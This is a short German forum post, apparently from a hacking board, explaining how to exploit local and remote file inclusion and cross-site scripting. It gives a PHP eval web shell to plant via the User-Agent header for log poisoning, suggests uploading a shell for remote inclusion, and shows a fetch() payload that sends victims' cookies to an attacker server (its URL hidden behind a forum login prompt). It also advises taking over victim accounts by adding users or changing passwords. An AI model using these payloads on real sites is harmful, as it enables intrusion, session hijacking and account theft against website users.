LFI: Wenn es tatsächlich eine LFI ist und keine LFD/Path Traversal (LFI führt das File aus, LFD zeigt es nur an), dann kannst du dir eine kleine Shell schreiben und diese zB. im Useragent setzen. Dann kannst du die access.log suchen und in der LFI verwenden.
Hier ein Beispiel für PHP (bei anderen musst die Shell einfach ändern):
Useragent: <?php eval($_GET['c']; ?>
RFI: Das ist eigentlich die einfachste Lücke. Einfach eine Shell irgendwo hochladen wo es direkt aufrufbar ist und einbinden.
XSS: XSS kommt es erstmals darauf an ob es eine reflected oder stored XSS ist. Dann auch wo die Lücke ist. XSS ist client-side, das heißt du verwendest XSS immer um etwas im Namen eines Benutzers auszuführen. Dieser muss aber dein Payload aufrufen, also musst du irgendwie dafür sorgen dass er entweder deinen Link öffnet oder auf deine gespeicherten Daten zugreift (bei einem TIcketsystem ist das einfach). Um eine XSS vernünftig auszunutzen schickst du dir den Cookie des Users und verwendest ihn selber (Session Hijacking). Allerdings funktioniert das nicht wenn der Cookie auf HttpOnly gesetzt ist. Dann schreibst du ein JS-Payload das auf das betroffene System zugeschnitten ist. Das Payload fügt meistens einfach einen neuen Benutzer hinzu oder ändert das Passwort des Opfers (da bei den meisten Scripts der User nicht ausgeloggt wird wenn das Passwort geändert wird, hast du genug Zeit um von dort mehr zu machen).
Wenn du Daten über JS auf deinen Server senden willst, dann musst du auf deinem Server CORS-Header auf * setzen (sonst kommt nichts an). Ein Payload zum senden der Cookies wäre zB so:
fetch('
Please Login HERE or Register HERE to see this link!
' + encodeURI(document.cookie));